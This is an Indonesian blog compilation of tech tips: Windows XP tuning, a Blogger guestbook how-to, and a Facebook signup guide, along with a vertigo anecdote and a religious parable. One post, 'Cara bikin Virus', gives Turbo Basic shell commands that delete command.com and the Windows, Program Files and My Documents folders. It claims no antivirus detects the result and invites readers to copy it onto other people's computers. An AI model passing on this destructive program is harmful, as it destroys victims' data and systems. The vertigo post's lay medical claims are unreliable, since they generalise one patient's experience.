Mengoptimalkan Windows XP

Mengoptimalkan Windows XP
Posted by: kenduruan  :  Category: Tips dan Trik
Di tempat anda, mungkin banyak orang yang bisa meng-install program. Namun saya yakin sangat sedikit sekali yang mengerti dan mau memahami seni dari proses install tersebut sehingga menghasilkan PC yang optimal.
Sering kita jumpai, komputer sekelas Pentium IV masih dikatakan lambat. Padahal sudah dilakukan berbagai upaya untuk menambah memori dan meningkatkan prosesor. Namun tetap saja, masih ada beberapa proses yang dianggap lambat. Dengan settingan berikut, anda bisa menyulap Pentium III secepat Pentium IV.
Ruang-ruang yang akan kita sentuh adalah sebagai berikut :
System Properties
System Configuration
Registry
System Properties
Adalah ruang berisi informasi tentang nama dan organisasi pemilik. Anda bisa membukanya dengan klik kanan pada icon MyKomputer dan pilih Properties. Atau bisa juga dengan menekan tombol Start + Pause Break.
Ada beberapa rahasia yang akan kita obrak-abrik pada system properties ini, sehingga menghasilkan installasi yang optimal.
Ikuti langkah berikut :
Klik kanan pada icon MyComputer dan pilih Properties.
Klik menu System Restore, pastikan anda mengklik Turn Off System Restore On All Drives Ini akan sangat berguna untuk menghalau salah satu cara perkembangbiakan virus.
Kemudian klik Advanced.
Terdapat 3 menu setting di bawahnya.
Klik Setting pertama dan pastikan anda memilih Adjust For Best Performance. Lanjutkan dengan mengklik Apply. Tunggu beberapa saat, dan tampilan windows akan berubah menjadi klasik. Tampilan tersebut dapat kita rubah sesuai keinginan kita nanti.
Selanjutnya klik Advanced, dan klik Change untuk merubah Virtual Memory.
(Virtual memory adalah Space yang dijadikan memory bayangan untuk membantu kinerja memory asli yang biasa kita sebut RAM. Virtual memory ini akan meminta ruangan dari harddisk.
Pada sub menu Custome Size, terdapat kolom Initial Size. Isikan kolom dengan angka minimal 2 kali jumlah RAM yang anda pasang.
Misalnya anda memasang RAM 1 Giga, maka isi kolom tersebut dengan jumlah minimal 2 x. Dan pada kolom berikutnya isi dengan 2 x kolom pertama. Jangan lupa klik Set. Klik OK dan OK lagi sehingga kembali ke System Properties awal.
Sekarang, klik menu Setting yang ketiga, anda akan melihat dua kolom yang berisi angka 30. Rubah angka tersebut menjadi 3. Kemudian buang tanda Ceklis (v) pada Automatically Restart.
Klik OK setelah selesai.
Tutup System Properties dengan mengklik OK.
Dari hasil otak-atik tadi, tampilan windows terasa amat membosankan. Semuanya serba Classic, seolah-olah bukan Windows XP.
Jangan khawatir, itu hanya sekedar tampilan yang bisa kita rubah setiap saat. Caranya :
Klik kanan di ruang kosong pada area Desktop dan pilih Properties sehingga muncul kotak dialog Display Properties
Klik menu Themes, kemudian pada kolom Themes dibawahnya, klik tanda panah (Pop up) dan pilih Windows XP.
Jika sebelumnya sudah terpilih Windows XP, maka pilih dulu Themes lain, kemudian klik panah lagi dan pilih Windows XP. Ini dilakukan untuk memancing tampilan Windows XP yang sesungguhnya.
Klik Apply dan lihat hasilnya.
Selanjutnya klik menu Desktop, perhatikan di bagian bawah. Disana terdapat sub menu Customize Desktop, klik menu tersebut.
Pada tampilan kotak dialog berikutnya, pastikan anda membuang tanda Ceklis (v) pada Run Desktop Cleanup Every 60 Days.
Ini dilakukan untuk menghindari penghapusan otomatis Windows terhadap icon-icon yang sudah dianggap tidak penting, padahal menurut kita masih sangat penting.
Klik OK dan OK lagi untuk menutup Display Properties
System Configuration
Tenang, jangan pusing dulu… :-P
Ruang berikutnya yang akan kita bedah adalah System Configuration. Perhatikan langkah berikut :
Klik Start > Run dan ketik msconfig kemudian Ok atau langsung tekan Enter
Dideretan menu bagian atas, di ujung kanan terdapat menu Startup. Klik menu tersebut.
Lihat ke bagian bawah, terdapat sederetan nama dengan masing-masing mempunyai tanda ceklis (v).
Nama-nama tersebut adalah indikasi program yang akan selalu berjalan ketika Windows baru pertama kali tampil. Dan jika kita membiarkan tanda ceklisnya, maka Windows akan sedikit lambat ketika pertama kali proses Loading.
buang tanda ceklis pada nama program yang dianggap tidak perlu untuk ditampilkan pada waktu START UP. Kemudian klik Apply
Klik OK untuk menutup System Configuration dan klik Restart.
Setelah komputer Restart dan kembali ke ruangan Desktop, anda dikagetkan dengan munculnya kotak dialog yang tentu saja berbahasa inggris.
Langsung saja klik kotak kecil untuk memberi ceklis pada Don’t Show This Massage ….., (dst) kemudian klik OK. Maka kotak tadi tidak akan muncul lagi ketika Windows baru Restart.
Matikan System restore.
System restore bisa bermanfaat jika komputer bermasalah, akan tetapi semua restore point yang disimpan bisa memakan ruangan yg cukup besar di harddisk. System restore membebani karena selalu memonitor sistem, dengan mendisable system restore maka sebagian resorce bisa dialokasikan untuk hal yg lain.
Buka Control Panel
Klik Performance and Maintenance
Klik System
Klik System Restore tab
Klik ‘Turn off System Restore on All Drives’
Klik ‘Ok’
Mendisable Service Windows yg tidak diperlukan.
Karena windows ditujukan untuk berbagai user dan tugas, maka windows membuat service yg sebenarnya tidak tidak terlalu diperlukan. Service-service berikut ini seringkali memakan resouce yg tidak sedikit, dengan mendisable (me-non-aktif-kan) maka komputer kita bisa mendapatkan sedikit boost karenanya.
Quote:
* Alerter
* Clipbook
* Computer Browser
* Distributed Link Tracking Client
* Fast User Switching
* Help and Support
* Human Interface Access Devices
* Indexing Service
* IPSEC Services
* Messenger
* Netmeeting Remote Desktop Sharing
* Portable Media Serial Number
* Remote Desktop Help Session Manager
* Remote Procedure Call Locator
* Remote Registry
* Remote Registry Service
* Secondary Logon
* Routing & Remote Access
* Server
* Telnet
* TCP/IP NetBIOS Helper
* Upload Manager
* Universal Plug and Play Device Host
* Wireless Zero Configuration -(Jika tidak mengunakan Wireless)
* Workstation
Cara mendisable service diatas :
Klik start > Run > ketik “services.msc”
Dobel klik service yg hendak diubah
Ubah startup type menjadi ‘Disable”
Me-non-aktifkan Microsoft System Sounds.
Secara default MS sound systems membuat komputer berbunyi/bersuara ketika booting awal, shutdown, error, dll. Skenario suara windows jelas membuat komputer lebih lambat (terutama dalam waktu shutdown dan booting awal), untuk me-non-aktifkan silahkan ikuti langkah berikut :
Buka Control Panel
Klik Sounds and Audio Devices
Klik tab Sounds
Pilih “No Sounds” dari Sound Scheme
Klik “No”
Klik “Apply”
Klik “OK”
Booting lebih cepat dengan mengurangi beban Font.
Setiap kali windows booting selalu melakukan loading font-font yg terdaftar di windows. Jika anda bukan desainer grafik, tentu saja ngggak semua font itu digunakan. Saran saya adalah memindahkan font-font di folder lain.
Bikin foler baru
Masuk ke “Fonts” di Control Panel.
Sorot group font yg akan di pindah.
Pindahkan ke folder yg baru, atau untuk mudahnya klik kanan lalu pindahkan ke My Documents.
Reboot, jika anda membutuhkan font yg telah dipindahkan tadi, caranya copy dan paste ke directory font yang lama.
Menaikan Bandwith Win XP ( jika terhubung dengan internet ).
Secara default XP melimit Bandwith menjadi 20%
limitnya bisa diubah menjadi 0%. Caranya :
Start > run > gpedit.msc > local computer policy > Administrative templates > network > QoS Packet Scheduler
pada bagian kiri double click limit reservable bandwidth, check enable pada bagian Bandwidth limit %, ubah menjadi 0
Registry
Registry adalah ruang Administrator Windows. Keluar masuknya program yang terinstall akan selalu melapor terlebih dahulu ke Registry.
Berikut ini adalah directory yang terdapat di Registry yang akan kita obrak-abrik :
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_CURRENT_CONFIG
Wah, istilah-istilah apapula itu ? :-D
Ikuti langkah berikut :
Klik Start pilih Run dan ketik regedit, klik OK atau langsung tekan Enter
Klik tanda plus (+) pada HKEY_CURRENT_USER
Klik tanda plus (+) pada Control Panel
Klik tanda plus (+) pada Desktop
( Perhatikan jendela sebelah kanan pada posisi Desktop. Terdapat sederetan String yang cukup memusingkan dan tentu saja berbahasa Inggris. Cari dan temukan menu-menu di bawah ini. Jika sudah ketemu, klik dua kali dan rubah nilainya, kemudian klik OK ).
Membuat Desktop Lebih Stabil.
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Explorer
Buat DWORD Value baru dan beri nama DesktopProcess → 1
Mengubah Waktu Delay Ketika Membuka Menu.
HKEY_CURRENT_USER\Control Panel\Desktop
MenuShowDelay → 100
Mempercepat Waktu Booting.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction
Enable → Y
Mempercepat Proses Shutdown.
HKEY_CURRENT_USER\Control Panel\Desktop
WaitToKillAppTimeout → 100
HungAppTimeout → 100
AutoEndTasks → 1
HKEY_USERS\DEFAULT\Control Panel\Desktop
WaitToKillAppTimeout →  100
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControl\Set\Control
HKEY_LOCAL_MACHINE\System\ControlSet001\Control
WaitToKillServiceTimeout→  100
Tweaking Memori Pada Windows XP.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management
DisablePagingExecutive → 1
LargeSystemCache → 1
Unload .dll Untuk Mempercepat Akses Memori.
HKEY_LOCAL_MACHINE\SOFTWARE\Mocrosoft\Windows\CurrentVersion\Explorer
Jika belum ada Klik Edit > New > Key
AlwaysUnloadDLL   Default → 1
Mengoptimalkan Hard Disk Pada Saat Komputer Idle.
HKEY_LOCAL_MACHINE\SOFTWARE\Mocrosoft\Windows\CurrentVersion\OptimalLayout
Jika belum ada Klik Edit > New > DWORD Value > EnableAutoLayout → 1
Mempercepat akses Folder - dengan mendisable Last Access Update.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem
Jika belum ada Klik Edit > New > DWORD Value
NtfsDisableLastAccessUpdate →  1
NtfsDisable8dot3NameCreation → 1
Setting Prefetch.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters\
EnablePrefetcher
Ada 3 pilihan yaitu 0-Disable, 1-App launch prefetch, 2-Boot Prefetch, 3-Both (”3? yg direkomendasikan)
Sekarang tutup Registry dengan tombol Alt + F4 atau dengan mengklik tanda silang (X) dibagian atas kanan jendela.
Restart Komputer anda dan lihat hasilnya.
Semoga bermanfaat

Pasang Buku Tamu di Sidebar

Pasang Buku Tamu di Sidebar

free magazine template R.1.4

Memasang sebuah buku tamu (shoutbox/guestbook) pada sebuah blog adalah hal yang cukup lumayan penting,karena buku tamu ini merupakan salah satu sarana untuk berinteraksi antara yang mpunya blog dengan para pengunjung blog. Dengan di pajangnya buku tamu di dalam blog, maka para pengunjung dapat mengungkapkan isi hatinya tentang blog yang anda buat, yang pasti isi dari sebuah buku tamu ini sangatlah bervariasi bisa merupakan pujian, pertanyaan, sekedar iseng, atau ada juga merupakan kritikan terhadap isi blog anda, dan justru dengan adanya variasi itulah membuat blog kita jadi hidup lebih hidu (kaya iklan aja).

Ok, terlalu lama intermezonya ya, sekarang kita kembali (ke lap...top) ke topikbahasan. Bagaimana caranya mendapatkan sebuah buku tamu. Untuk mendapatkannya sangat mudah, anda tinggal mencarinya pada mesin pencari semisal google ataupun yahoo, silahkan ketikan kata free shoutbox atau free guestbook pada search engine masing-masing situs, maka dalam beberapa detik saja akan muncul berpuluh-puluh situs penyedia buku tamu tadi, anda tinggal klik lalu coba lihat-lihat. Tapi untuk menghemat waktu pencarian anda, maka di sini saya akan langsung memberikan alamat situs penyedia buku tamu yang servernya lumayan bagus dan jarang sekali mengalami down yakni http://www.shoutmix.com. Untuk caranya silahkan anda ikuti langkah-langkah berikut ini :

1. Seperti biasa anda harus daftar terlebih dahulu dengan cara mengklik tulisan Get One noe, free>>, ataupun dengan mengklik tulisan Sign Up, silahkan anda tulis data-data anda pada form yang telah di sediakan.

2. Jika sudah tedaftar, dan di terima jadi anggota shoutmix, silahkan anda login dengan id anda

3. Pada kolom yang berjudul Style, klik menu appearance.

4. Silahkan klik menu pulldown di samping tulisan Load From Preset untuk mengatur tampilan buku tamu anda, silahkan pilih yang sesuai dengan keinginan anda. Jika sudah selesai klik Save Setting.

5. Untuk mendapatkan kode HTML dari shoutbox anda, silahkan klik Use Shoutbox yang berada di bawah menu Quick Start

6. Klik tulisan Place Shoutbox on web page. Isi lebar dan tinggi shoutbox yang di inginkan

7. Copy seluruh kode HTML yang ada pada text area yang berada di bawah tulisan Generated Codes, lalu simpan di program Notepad anda

8. Klik Log out yang berada di atas layar anda untuk keluar dari halaman shoutmix anda. Silahkan close situs tersebut.

9. Selesai



Untuk menempatkan kode HTML shoutbox tadi pada blog anda, silahkan ikuti langkah-langkah berikut ini.

Untuk blogger dengan template klasik :

1. Log in terlebih dahulu ke blogger.com dengan id anda

2. Klik menu Template

3. Klik Edit HTML

4. Paste kode HTML shoutbox anda yang telah di copy pada notepad tadi di tempat yang anda inginkan

5. Untuk jelasnya saya ambil contoh dengan shoubox milik saya, untuk menempatkannya tinggal klik Edit pada browser lalu pilih Find (on this page).. trus tuliskan kata buku tamu lalu klik find, maka kita akan langsung di bawa ke tulisan tersebut. Jika sudah ketemu tulisan tadi silahkan paste kode HTML shoutbox nya.

6. Klik tombol Preview untuk melihat perubahan yang kita buat.

7. Jika sudah cocok dengan perubahan tadi, klik Save Template Changes

8. Selesai



Sedikit Clue, agar shoutbox anda sesuai dengan ukuran lebar sidebar , anda bisa merubah ukuran lebar ataupun tinggi dari shoutbox , caranya anda tinggal merubah angka Width (untuk lebar) dan Height (untuk tinggi) dari dalam kode HTML shoutbox tersebut.



Untuk Blogger baru :

1. Silahkan Login dengan id anda

2. Klik menu Layout

3. Klik Page Element

4. Klik Add a Page Element

5. Klik tombol Add to Blog yang berada di bawah tulisan HTML/JavaScript

6. Tuliskan judul shoutbox anda pada form title. Contoh : Buku tamu ku, atau my guestbook atau apa saja yang anda suka

7. Copy paste kode HTML shoutbox anda di dalam form Content

8. Klik tombol Save Changes

9. Drag & Drop element yang telah anda buat tadi di tempat yang di sukai

10. Tekan tombol Save

11. Selesai



Selamat mencoba !
Semoga hari-hari anda menynangkan ^.^

Cara bikin Virus

Cara membuat program perusak (Seperti Virus)

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google.

Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak.

shell "Perintah DOS"

dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ?

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE.

Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.


*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda !
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali (termasuk member)
*Dan anda jangan melakukannya bila takut!!!

Cara pembuatan Facebook bagi pemula

Cara pembuatan Facebook bagi pemula

Created By : Godam Hadipradita

Sebenarnya membuat situs pertemanan yang sangat popular di berbagai Negara ini sangatlah mudah. Tetapi masih ada juga seseorang yang belum paham cara pembuatannya. Maka dari itu saya akan memberikan cara-caranya di bawah ini :

Facebook :

· Langkah 1

Untuk memulai mendaftarkan diri pada situ Facebook, arahkan URL web browser Anda ke alamat www.facebook.com

· Langkah 2

Masukkan data-data anda pada semua isian yang diminta. Setelah data pribadi lengkap terisi, klik [Sign Up].

· Langkah 3

Abaikan jika muncul pesan error, karena yang harus di lakukan selanjutnya adalah memasukan text yang muncul pada bagian security check. Masukkan text sesuai dengan yang terdapat pada gambar yang muncul di layar anda. Lanjutkan dengan klik [Sign Up].

· Langkah 4

Berikutnya anda diminta untuk melakukan konfirmasi pada e-mail. Buka e-mail anda dan aktifkan account anda dari e-mail yang dikirimkan oleh system administration Facebook. Tanpa melakukan aktivasi maka account anda tidak akan dapat digunakan.

· Langkah 5

Abaikan saja semua yang muncul saat pertama kali anda melakukan login pada Facebook untuk pertama kalinya. Langsung saja klik pada bagian [Settings] kemudian [Account Settings].

· Langkah 6

Di tab [Settings] anda dapat mengubah beberapa informasi yang berkaitan dengan data pribadi, termasuk nomor kartu kredit untuk membeli beberapa konten atau fitur premium dari Facebook.

· Langkah 7

Pada tab [Network] anda bisa bergabung dengan sebuah network yang secara umum dibuat bedasarkan pekerjaan, sekolah, perguruan tinggi, atau Negara dan kota.

· Langkah 8

Cobalah menggunakan nama kota dimana anda tinggal. Jika tidak di temukan nama kota anda, masukan saja ‘Indonesia’ dan Facebook akan mencoba untuk melakukan auto detect setiap kali anda mengetikkan kata di dalam kolom isian unuk memudahkan pencarian.

· Langkah 9

Setelah anda menentukan nama network, klik tombol [Join Network].

· Langkah 10

Jika anda sudah memiliki teman sebelumnya pada Facebook, anda juga akan mendapatkan nama-nama teman yang bergabung dalam network yang sama.

· Langkah 11

Selanjutnya anda bisa mengubah profile. Klik [Profile] atau klik saja nama anda yang terletak di menu bagian atas di sebelh Settings.

· Langkah 12

Anda akan dibawa pada tampilan utama halaman profile di Facebook anda.

· Langkah 13

Untuk mengedit profile, klik [Edit My Profile] di bawh foto utama.

· Langkah 14

Pada bagian [Basic Information], anda bisa mencantumkan beberapa informasi general yang nantinya akan di tampilkan pada bagian utama profile.

· Langkah 15

Untuk [Personal Information] anda bisa memasukan kegiatan yang sering dilakukan, hobby, music yang disuka, dan lain lain yang merupakan kegemaran anda.

· Langkah 16

Anda juga bisa memasukan informasi untuk menkontak anda, mulai dari e-mail, nomor ponsel, alamat rumah dan juga website pribadi dibagian [Contact Information].

· Langkah 17

Pada [Education and Work] anda bisa memasukan informasi mengenai nama perguruan tinggi, nama sekolah, dan nama perusahaan tempat anda bekerja. Setelah semua selesai klik [Save].

· Langkah 18

Informasi anda akan muncul pada tab [Info] di layar berikutnya.

· Langkah 19

Untuk menambahkan foto bisa mengklik tab [Photos]. Jika anda belum memiliki album sama sekali klik [Create a Photo Album].

· Langkah 20

Masukan informasi untuk nama album dan juga diskripsi, serta pemberian otoritas kepada siapa saja anda memperbolehkan akses pada album ini, klik [Create Album].

· Langkah 21

Bila anda menemui kesulitan browser anda dengan Java Environment, pilihlah untuk meng-upload foto dengan mengklik link [Try the simple uploader]. Pilih file foto di komputer anda yang ingin di upload, dan jangan lupa memberi tanda centang pada [I certify that I have the right to distribute these photo and that they do not violate the Terms of Use]. Klik tombol [Upload Photos].

· Langkah 22

Setelah upload foto selesai, anda bisa menambahkan caption untuk foto tersebut. Klik [Save Changes].

· Langkah 23

Fotoyang baru saja anda upload akan tampil dalam album yang juga baru anda buat sebelumnya.

· Langkah 24

Jika anda belum memiliki profile picture (semacam primary photo pada Friendster), anda bisa mengubahny dengan mengklik pada box foto tersebut dan akan muncul pilihan [Change Picture].

· Langkah 25

Saat mengklik link tersebut maka akan muncul beberapa menu lagi. Pilih [Upload a Picture]. Pilih salah satu foto yang terdapat pada komputer anda untuk dijadikan sebagai foto utama.

· Langkah 26

Selanjutnya anda akan memilikiprimary photo yang baru. Cara yang sama juga bisa digunakan untuk mengubah primary photoyang sudah anda gunakan sebelumnya.

· Langkah 27

Setelah anda memiliki primary photo, anda bisa melakukan Update Status yang mirip Shoutout di Friendster. Masukan apa saja yang mencerminkan keadaan anda saat itu pada kolom ini, dan klik [Post].

Referensi :Tabloit Mingguan “KOMPUTEK”

Selamat menikmakti pertemanan di dunia maya

NB : Jangan sampai lupa waktu, ketagihan, apalagi lupa punya pacar juga ahahahags………….keoke ^_^

Vertigo

Dear all,

Ini sekilas tentang VERTIGO, bagi yang belum pernah merasakannya sebaiknya
DICEGAH, jangan sampai masuk dalam VERTIGO CLUB.

Ini pengalamanku sendiri, mungkin saja tidak sama dengan penderita
lainnya, tapi aku hanya ingin sharing kepada para beberapa teman-temanku yang
juga vertigo.

Hanya orang yang pernah mengalami VERTIGO bisa merasakan tersiksanya kalau
sedang kumat, kita seperti berada di dalam sebuah ROUND TABLE lalu
diputar berkeliling atau terkadang terasa seperti di ayun ke segala arah yg
tidak jelas , di angkat tinggi dan berputar semuanya ...... ????!!!!!

Kepala saat diletakkan ke bantal sangat tidak nyaman, terus ingin berputar dan
kita seakan mencari pegangan kemana-mana. Apalagi melihat atau menunduk ke bawah jelas tidak mungkin. Rasanya
lebih baik tidur duduk saja.

Confidence level turun karena kita tidak tau kapan sang Vertigo
akan muncul. Dia akan muncul begitu saja. Biasanya dengan MERISLON bisa hilang
tapi TIDAK TUNTAS sembuhnya. Aku setiap tahun kumat sekali. Namun serangan
vertigo yang terakhir menyebabkan aku tidak bisa tidur pada posisi kanan,
setiap mau balik ke kanan maka vertigonya kumat. Aku merasakan ada sesuatu yang
salah namun tidak tau apa itu ????.

Akhirnya ketika Reuni Lebaran di Bali seorang teman
memberikan reference untuk berobat ke seorang Profesor di Mt E- Spore, dimana
dokter ini seorang NEUROLOG dan ahli dlm penyakit Stoke, baginya vertigo enteng
. Maka untuk mencari kesembuhan aku menemuinya Jumat kemarin.

Mula-mula dokter melakukan Blood Circulation Scan, di mana segera diketahui
apakah ada bagian pembuluh darah yg mampet atau alirannya kurang lancar dls.

Sesudahnya dilakukan Therapy di kursi sofa oleh seorang suster
sbb :

Aku telentang dengan kepala sebagian nongol keluar kursi tanpa bantal dan
dipegang oleh suster, kemudian disuruh noleh ke kiri, ADUUHHHH langsung
VERTIGOnya kumat, dunia berputarrrrrr, sampai tanganku menggapai-gapai mencari
pegangan.... , disuruh relax sesudah hilang maka harus menoleh ke kanan, kumat
lagi walau tidak separah yang kiri, relax lalu balik badan dan kepala melihat
ke lantai, lalu bangun perlahan2 dengan mata melihat ke bahu , kemudian duduk
kembali.

Hanya itu therapynya, tapi MANJURRRR, lalu aku diharuskan tidur bolak balik, kanan
- kiri - kanan kiri dst ...dst ( Total waktu therapy sekitar +/- 15 menit
)

Sesudah aku tanya kenapa bisa vertigo ternyata SANGAT SEDERHANA
.

Apa itu ???

Vertigo terjadi karena kita salah posisi tidur, mungkin
tanpa kita sadari kita selalu tidur pada satu posisi, misalnya kebanyakan kiri
terus dan jarang kanan/kiri, sehingga ini akan memperparah vertigo, yang
mengakibatkan adanya "christal" istilah mereka yg lepas dari
telinga kita sehingga menyebabkan keseimbangan kita terganggu. Nah therapy itu
utk mengembalikan posisi "Christal" itu, that'all ... So Simple
ya, ternayta tidak ada related dengan kolesterol atau lain sebagainya. Aku
hanya diberikan 1 jenis obat yang hanya diminum 1 kali saja pada malam sesudah
therapy , itupun kalau masih merasa berputar. Pada malam hari itu aku tidur
dengan nyenyak dan mengikuti advise nya agar tidurnya kanan-kiri-kanan- kiri,
dan memakai bantal 2 buah ditumpuk agar tinggi serta harusmerubah pola tidurku
yang salah. ITU SAJA cara pengobatannya.

Aku adalah penggemar pijet, maka aku sempat tanya ke dokter apakah masih boleh
pijet kepala, disarankan sebaiknya tidak pijet kepala,krn kuatir tk
pijetnya kan tidak tau jelas pembuluh mana yang kena pencet.

Huhuhu aku kini STOP pijet dulu deh, karena ketika kena serangan yang baru lalu
itu aku pas sedang dipijet bagian kepala, mungkin saja saat itu ada yang kurang
pas.

Sayangnya selama ini aku belum pernah di advise therapy begitu oleh para dokter
yang pernah aku datangi. Kalau sedang vertigo maka akan dihubungkan dengan kolesterol/lipitor,
istirahat, minum obat pengencer darah, dls... , sedangkan minum merislon itu
membuat kita lemas.

Sabtu pagi aku therapy sekali lagi sebelum kembali ke Jakarta , sekarang aku
merasa FIT dan tidak vertigo lagi, moga-moga ini akan selamanya dan aku tidak
minum obat apapun.

Nah moga-moga sharing ku di atas dapat bermanfaat bagi para teman yang
kebetulan sudah masuk dalam VERTIGO Club , ataupun mungkin bisa di sharing
kepada family yang kena vertigo ataupun kepada yang belum pernah kena vertigo .

Note
: TIDURLAH dengan sikap yang baik yaitu
BOLAK-BALIK kiri kanan !!!

SEGERALAH perhatikan dan ubah pola tidur
anda bilamana anda mempunyai kecenderungan tidur pada satu posisi.
Lakukan pola tidur ini mulai sekarang
walaupun anda belum pernah kena vertigo.
PENCEGAHAN lebih baik .

Menyusun sendiri Kebahagiaan Diri

Menyusun sendiri Kebahagiaan Diri

Di sebuah kelas, seorang guru membagikan sebuah kertas mewarnai yang berisi gambar pemandangan beserta satu kotak crayon kepada anak-anak murid TK-nya. Untuk pembagian crayon, mereka tidak diberikan 12 jenis pinsil warna yang komplit. Tapi paling banyak hanya 8 warna. Tiap anak mendapat pensil warna berbeda-beda. Sengaja untuk memancing kreativitas anak.

Di antara murid-murid tersebut, terdapat 2 anak yang spesial di antara mereka. Keduanya hanya memiliki warna hitam, putih, merah, kuning, dan biru. Kedua anak tersebut berbeda sikapnya saat bekerja mewarnai kertas tesebut.

Salah seorang dari mereka uring-uringan tidak mau mewarnai. "Bagaimana bisa mewarnai?", pikirnya. "Gambar matahari yang ada pada kertas tersebut, seharusnya diwarnai dengan warna oranye. Tapi aku tidak mendapati warna oranye di kotak crayon yang dibagikan. Gambar pepohonan seharusnya diwarnai dengan warna hijau. Tapi tidak ada warna hijau. Selain itu, tidak ada warna biru muda. Yang ada warna biru tua. Padahal aku ingin langit diwarnai dengan warna biru muda"

Anak tersebut begitu idealisnya. Ia tidak bisa menerima kekurangan-kekurangan yang ada. Akhirnya, alih-alih mewarnai, ia hanya merajuk diam tanpa melakukan apa pun. Ia hanya bisa iri atas teman lain yang memiliki pinsil warna yang lengkap.

Anak yang lain malah asyik mewarnai. Memang, warna yang tersedia tidak komplit. Tapi itu tidak menghalanginya untuk mendapatkan keasyikan dari aktifitas mewarnai. Ia cukup cerdas mengakali kekurangan warna tersebut. Untuk mewarnai gambar matahari, mula-mula ia beri warna kuning. Lalu warna kuning itu ia timpa dengan warna merah. Hasilnya, warna oranye yang cerah untuk matahari.

Begitu juga untuk warna pepohonan, mula-mula ia beri warna biru, lalu ia campurkan dengan warna kuning sehingga membentuk warna hijau. Lalu untuk warna langit, mula-mula ia beri warna biru tua. Setelah itu ia goreskan pinsil warna putih sehingga warna birunya sedikit memudar.

Saudaraku, setidaknya itu menggambarkan penyikapan insan atas apa yang diterimanya. Ada manusia yang sulit menerima kekurangan-kekurangannya. Ia menghabiskan waktunya untuk mengeluh karena tidak memiliki apa yang orang lain miliki. Ia mengeluh karena istri yang dimilikinya tidak cantik, atau gaji yang diterimanya tidaklah memadai, atau pekerjaan yang digelutinya tidak menyenangkan, dsb.

Insan model tersebut, adalah insan yang berkata, "Ah, andai gajiku lebih besar lagi, tentu aku bisa berinfak". " Ah, andai rezekiku lebih banyak, tentu aku akan menyenangkan orang tua dan saudaraku". "Ah, andai istriku cantik, tentu mudah untuk ghodul bashor." "Ah, andai pekerjaanku tidak terlalu sibuk, tentu aku bisa menghafal Al-Qur’an."

Orang seperti ini tidak bisa bahagia atas apa yang dimilikinya. Ia tidak mampu menyusun sendiri kebahagiaan dirinya. Dalam cerita di atas, orang seperti ini jauh berbeda dengan sikap anak yang kedua.

Bandingkan dengan sikap anak yang kedua. Ia adalah profil orang yang mampu menyusun sendiri kebahagiaan dirinya atas apa yang ia miliki. Ia tidak peduli dengan apa yang tidak dimilikinya, dan tidak peduli atas apa yang orang lain miliki. Orang seperti ini kebahagiaannya tidak bisa didikte oleh keterbatasan. Dengan apa yang dimilikinya, ia mampu menciptakan kebahagiaan.

Kebahagiaan terbentuk bukan tergantung dari keberadaan materi, tapi tergantung dari keberkahan materi. Sebuah materi menjadi berkah manakala ia memberikan manfaat bagi pemiliknya.

Aktivitas orang tipe kedua juga tidak bisa didikte oleh keterbatasan. Apabila ia ingin bersedekah tapi benar-benar tidak punya barang untuk disedekahkan, maka ia bisa melakukan sholat dhuha, atau ia bisa menawarkan tenaganya untuk membantu orang lain. Minimal, ia memiliki senyum untuk disedekahkan kepada orang lain.

"Bagi masing-masing ruas anggota tubuh salah seorang di antara kalian harus dikeluarkan sedekah. Setiap tasbih adalah sedekah, Setiap tahmid adalah sedekah, Setiap takbir adalah sedekah, memerintahkan untuk melakukan kebaikan adalah sedekah, melarang dari kemungkaran adalah sedekah, dan semua itu dapat tercukupi dengan melakukan dua rakaat sholat Dhuha.

(HR. Muslim)

Rasa bahagia pasti akan disrasakan bagi orang-orang yang mampu dan punya kesempatan untuk bersedekah dan membantu orang lain yang sedang membutuhkan.

Saudaraku, susunlah kebahagian sendiri atas apa yang kita miliki.

****************************************************
